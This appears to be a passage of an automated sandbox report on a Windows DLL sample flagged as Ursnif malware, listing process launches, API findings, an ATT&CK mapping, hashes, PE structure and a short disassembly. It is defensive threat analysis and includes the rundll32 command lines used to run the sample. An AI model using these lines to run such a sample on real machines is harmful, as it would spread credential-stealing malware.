Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\kS5hYPcgm8.dll',#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Island	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Matter m	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Island	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Matter m	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Island	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Matter m	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Island	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Matter m	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Island	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Matter m	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Island	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Matter m	Jump to behavior

Source: loaddll32.exe, 00000000.00000002.576781232.0000000000EE0000.00000002.00000001.sdmp, rundll32.exe, 00000002.00000002.534853952.00000000034B0000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.610554445.0000000002D90000.00000002.00000001.sdmp, rundll32.exe, 0000000C.00000002.534015445.00000000030F0000.00000002.00000001.sdmp, rundll32.exe, 0000000F.00000002.526747254.0000000002D90000.00000002.00000001.sdmp, rundll32.exe, 00000014.00000002.610139527.00000000038A0000.00000002.00000001.sdmp, rundll32.exe, 00000019.00000002.525740389.0000000002D90000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: loaddll32.exe, 00000000.00000002.576781232.0000000000EE0000.00000002.00000001.sdmp, rundll32.exe, 00000002.00000002.534853952.00000000034B0000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.610554445.0000000002D90000.00000002.00000001.sdmp, rundll32.exe, 0000000C.00000002.534015445.00000000030F0000.00000002.00000001.sdmp, rundll32.exe, 0000000F.00000002.526747254.0000000002D90000.00000002.00000001.sdmp, rundll32.exe, 00000014.00000002.610139527.00000000038A0000.00000002.00000001.sdmp, rundll32.exe, 00000019.00000002.525740389.0000000002D90000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: loaddll32.exe, 00000000.00000002.576781232.0000000000EE0000.00000002.00000001.sdmp, rundll32.exe, 00000002.00000002.534853952.00000000034B0000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.610554445.0000000002D90000.00000002.00000001.sdmp, rundll32.exe, 0000000C.00000002.534015445.00000000030F0000.00000002.00000001.sdmp, rundll32.exe, 0000000F.00000002.526747254.0000000002D90000.00000002.00000001.sdmp, rundll32.exe, 00000014.00000002.610139527.00000000038A0000.00000002.00000001.sdmp, rundll32.exe, 00000019.00000002.525740389.0000000002D90000.00000002.00000001.sdmp	Binary or memory string: SProgram Managerl
Source: loaddll32.exe, 00000000.00000002.576781232.0000000000EE0000.00000002.00000001.sdmp, rundll32.exe, 00000002.00000002.534853952.00000000034B0000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.610554445.0000000002D90000.00000002.00000001.sdmp, rundll32.exe, 0000000C.00000002.534015445.00000000030F0000.00000002.00000001.sdmp, rundll32.exe, 0000000F.00000002.526747254.0000000002D90000.00000002.00000001.sdmp, rundll32.exe, 00000014.00000002.610139527.00000000038A0000.00000002.00000001.sdmp, rundll32.exe, 00000019.00000002.525740389.0000000002D90000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd,
Source: loaddll32.exe, 00000000.00000002.576781232.0000000000EE0000.00000002.00000001.sdmp, rundll32.exe, 00000002.00000002.534853952.00000000034B0000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.610554445.0000000002D90000.00000002.00000001.sdmp, rundll32.exe, 0000000C.00000002.534015445.00000000030F0000.00000002.00000001.sdmp, rundll32.exe, 0000000F.00000002.526747254.0000000002D90000.00000002.00000001.sdmp, rundll32.exe, 00000014.00000002.610139527.00000000038A0000.00000002.00000001.sdmp, rundll32.exe, 00000019.00000002.525740389.0000000002D90000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6DD30604 cpuid

0_2_6DD30604

Source: C:\Windows\System32\loaddll32.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	0_2_6DD6DD96
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,	0_2_6DD6DF65
Source: C:\Windows\System32\loaddll32.exe	Code function: EnumSystemLocalesW,	0_2_6DD63952
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_6DD6E518
Source: C:\Windows\System32\loaddll32.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_6DD6E6EC
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,	0_2_6DD6E61F
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_6DD6E19F
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,	0_2_6DD2F1B7
Source: C:\Windows\System32\loaddll32.exe	Code function: EnumSystemLocalesW,	0_2_6DD6E112
Source: C:\Windows\System32\loaddll32.exe	Code function: EnumSystemLocalesW,	0_2_6DD6E077
Source: C:\Windows\System32\loaddll32.exe	Code function: EnumSystemLocalesW,	0_2_6DD6E00E
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,	0_2_6DD6E3EF
Source: C:\Windows\System32\loaddll32.exe	Code function: ___crtGetLocaleInfoEx,	0_2_6DD2F364
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,	0_2_6DD64323
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	2_2_6DD6DD96
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_6DD6E518
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	2_2_6DD6DF65
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	2_2_6DD6E6EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	2_2_6DD6E61F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	2_2_6DD6E19F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	2_2_6DD2F1B7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	2_2_6DD63952
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	2_2_6DD6E112
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	2_2_6DD6E077
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	2_2_6DD6E00E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	2_2_6DD6E3EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: ___crtGetLocaleInfoEx,	2_2_6DD2F364
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	2_2_6DD64323
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,	3_2_6DCF1566
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	3_2_6DD6DD96
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	3_2_6DD6E518
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	3_2_6DD6E6EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	3_2_6DD2F1B7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	3_2_6DD63952
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	3_2_6DD6E112
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	3_2_6DD6E077
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	3_2_6DD6E00E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: ___crtGetLocaleInfoEx,	3_2_6DD2F364
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	3_2_6DD64323

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6DD309F0 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6DD309F0

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6DD68951 _free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

0_2_6DD68951

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6DCF146C CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,

3_2_6DCF146C

Stealing of Sensitive Information:

Yara detected Ursnif

Show sources

Source: Yara match

File source: 3.2.rundll32.exe.6dcf0000.1.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected Ursnif

Show sources

Source: Yara match

File source: 3.2.rundll32.exe.6dcf0000.1.unpack, type: UNPACKEDPE

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DCF16BC __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,		0_2_6DCF16BC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6DCF16BC __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,		2_2_6DCF16BC

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API1	Path Interception	Process Injection12	Rundll321	OS Credential Dumping	System Time Discovery2	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection12	LSASS Memory	Security Software Discovery1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Junk Data	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Deobfuscate/Decode Files or Information1	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Obfuscated Files or Information2	NTDS	System Information Discovery23	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
kS5hYPcgm8.dll	51%	Virustotal		Browse

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

No Antivirus matches

Domains and IPs

Contacted Domains

No contacted domains info

Contacted IPs

No contacted IP infos

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	408913
Start date:	09.05.2021
Start time:	08:08:08
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	kS5hYPcgm8.dll
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	37
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal56.troj.winDLL@55/0@0/0
EGA Information:	Failed
HDC Information:	Successful, ratio: 10.2% (good quality ratio 9.5%) Quality average: 73.1% Quality standard deviation: 27.3%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .dll
Warnings:	Show All Report size exceeded maximum capacity and may have missing behavior information.

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

No created / dropped files found

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.790056221303965
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	kS5hYPcgm8.dll
File size:	960000
MD5:	68fc6441db6c5539573adf08f210c39b
SHA1:	c67a6a85716e0f1439cae1c1cdf259c271515e85
SHA256:	802a752fca3ded051f0655c68012c769232d098d4a57c9887da39fa89070235a
SHA512:	e20656f24256170306d05c8604d8d22989304327993d0180a9e9e1d8d699fa6ff66d835c1fa5e120e4bfbd6c802b59f142d53dbb6e86844808b1338b301d5316
SSDEEP:	24576:HQfpzjXPgf28CJV4X+IBIJ3cazaLwj1mCG9CpNiLi:IFDgyJV4OaIRj150CpNiLi
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......t...0...0...0....{i.3...9...#...b...4...b...=...b...=....{r.&...0.......b.......b...1...b.b.1...0...1...b...1...Rich0..........

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x1040052
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x1000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x5AC512FB [Wed Apr 4 18:01:31 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	7a79d10b1d4343a18a4f6e25e165b4ae

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007F2D188B94F7h
call 00007F2D188B9ED2h
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]
call 00007F2D188B939Fh
add esp, 0Ch
pop ebp
retn 000Ch
mov ecx, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], ecx
pop ecx
pop edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
push ecx
ret
mov ecx, dword ptr [ebp-10h]
xor ecx, ebp
call 00007F2D188B8D06h
jmp 00007F2D188B94D0h
mov ecx, dword ptr [ebp-14h]
xor ecx, ebp
call 00007F2D188B8CF5h
jmp 00007F2D188B94BFh
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [010E506Ch]
xor eax, ebp
push eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [010E506Ch]
xor eax, ebp
push eax
mov dword ptr [ebp-10h], eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
inc dword ptr fs:[eax]

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0xe35b0	0x9c	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0xe364c	0x8c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xfd000	0x9d0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xfe000	0x5074	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xde820	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xde878	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8a000	0x26c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x883dc	0x88400	False	0.544626218463	data	6.71833205917	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x8a000	0x5a440	0x5a600	False	0.658643456086	data	5.95813601066	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xe5000	0x17ebc	0x1c00	False	0.184291294643	data	4.04646123564	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0xfd000	0x9d0	0xa00	False	0.396484375	data	3.77819611332	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xfe000	0x5074	0x5200	False	0.726133765244	data	6.63977268899	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_DIALOG	0xfd1c0	0x10e	data	English	United States
RT_DIALOG	0xfd2d0	0xc0	dBase III DBT, next free block index 4294901761	English	United States
RT_DIALOG	0xfd390	0x126	data	English	United States
RT_DIALOG	0xfd4b8	0xf0	data	English	United States
RT_DIALOG	0xfd5a8	0xba	data	English	United States
RT_DIALOG	0xfd664	0xec	data	English	United States
RT_DIALOG	0xfd750	0x124	data	English	United States
RT_MANIFEST	0xfd874	0x15a	ASCII text, with CRLF line terminators	English	United States

Imports

DLL	Import
KERNEL32.dll	SetEnvironmentVariableA, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetProcessHeap, CreateFileW, SetStdHandle, ReadConsoleW, WriteConsoleW, HeapSize, SetEndOfFile, SetEnvironmentVariableW, GetOEMCP, IsValidCodePage, FindNextFileW, FindNextFileA, FindFirstFileExW, FindFirstFileExA, FindClose, GetTimeZoneInformation, OutputDebugStringA, OutputDebugStringW, WaitForSingleObjectEx, CreateSemaphoreA, GetSystemTimeAsFileTime, TlsGetValue, VirtualProtectEx, TlsAlloc, GetSystemDirectoryA, GetTempPathA, Sleep, GetCommandLineA, GetModuleHandleA, InitializeCriticalSection, SetSystemPowerState, EnterCriticalSection, VirtualProtect, GetModuleFileNameA, MultiByteToWideChar, GetLastError, FormatMessageW, WideCharToMultiByte, GetStringTypeW, LeaveCriticalSection, DeleteCriticalSection, SetLastError, InitializeCriticalSectionAndSpinCount, CreateEventW, SwitchToThread, TlsSetValue, TlsFree, GetTickCount, GetModuleHandleW, GetProcAddress, EncodePointer, DecodePointer, CompareStringW, LCMapStringW, GetLocaleInfoW, GetCPInfo, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, IsDebuggerPresent, GetStartupInfoW, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, InitializeSListHead, RtlUnwind, RaiseException, InterlockedPushEntrySList, InterlockedFlushSList, FreeLibrary, LoadLibraryExW, ExitProcess, GetModuleHandleExW, GetModuleFileNameW, HeapAlloc, HeapFree, GetCurrentThread, GetACP, GetStdHandle, GetFileType, CloseHandle, WaitForSingleObject, GetExitCodeProcess, CreateProcessA, CreateProcessW, GetFileAttributesExW, WriteFile, GetConsoleCP, GetConsoleMode, GetDateFormatW, GetTimeFormatW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, FlushFileBuffers, ReadFile, SetFilePointerEx, HeapReAlloc, SetConsoleCtrlHandler, CreateThread
USER32.dll	SetFocus, GetCursorPos, RegisterClassExA, GetFocus, GetClassInfoExA, GetKeyNameTextA, GetWindowTextLengthA, CallWindowProcA, IsDlgButtonChecked, DestroyIcon, AppendMenuA, DrawIconEx, DrawEdge
GDI32.dll	BitBlt, DeleteDC, CreatePen, DeleteObject, CreateDCA, GetObjectA, DPtoLP
ole32.dll	OleUninitialize, OleSetContainedObject, OleInitialize
SHLWAPI.dll	PathFindFileNameA, PathAddBackslashW, PathStripToRootA
DCIMAN32.dll	DCICreatePrimary, DCIOpenProvider, GetDCRegionData, DCISetDestination, DCICloseProvider, DCICreateOverlay, GetWindowRegionData, DCIEndAccess, WinWatchDidStatusChange, DCICreateOffscreen, DCISetSrcDestClip, DCIDestroy, DCIDraw, DCISetClipList, DCIEnum, DCIBeginAccess, WinWatchClose

Exports

Name	Ordinal	Address
Connectdark	1	0x1021c64
Mindlake	2	0x1020de0
Porthigh	3	0x1021c2c
Problemscale	4	0x1021bf8
WingGrass	5	0x1021b0a

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 2212 Parent PID: 5620

General

Start time:	08:08:58
Start date:	09/05/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\kS5hYPcgm8.dll'
Imagebase:	0xeb0000
File size:	116736 bytes
MD5 hash:	542795ADF7CC08EFCF675D65310596E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 4356 Parent PID: 2212

General

Start time:	08:08:58
Start date:	09/05/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\kS5hYPcgm8.dll',#1
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 1140 Parent PID: 2212

General

Start time:	08:08:59
Start date:	09/05/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\kS5hYPcgm8.dll,Connectdark
Imagebase:	0xbe0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 1556 Parent PID: 4356

General

Start time:	08:08:59
Start date:	09/05/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\kS5hYPcgm8.dll',#1
Imagebase:	0xbe0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 2576 Parent PID: 1140

General

Start time:	08:08:59
Start date:	09/05/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c cd Island
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 5700 Parent PID: 1556

General

Start time:	08:08:59
Start date:	09/05/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c cd Island
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 4228 Parent PID: 2576

General

Start time:	08:08:59
Start date:	09/05/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 6148 Parent PID: 5700

General

Start time:	08:08:59
Start date:	09/05/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 6204 Parent PID: 1140

General

Start time:	08:09:00
Start date:	09/05/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c cd Matter m
Imagebase:	0x7ff797770000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 6240 Parent PID: 1556

General

Start time:	08:09:00
Start date:	09/05/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c cd Matter m
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 6248 Parent PID: 6204

General

Start time:	08:09:00
Start date:	09/05/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

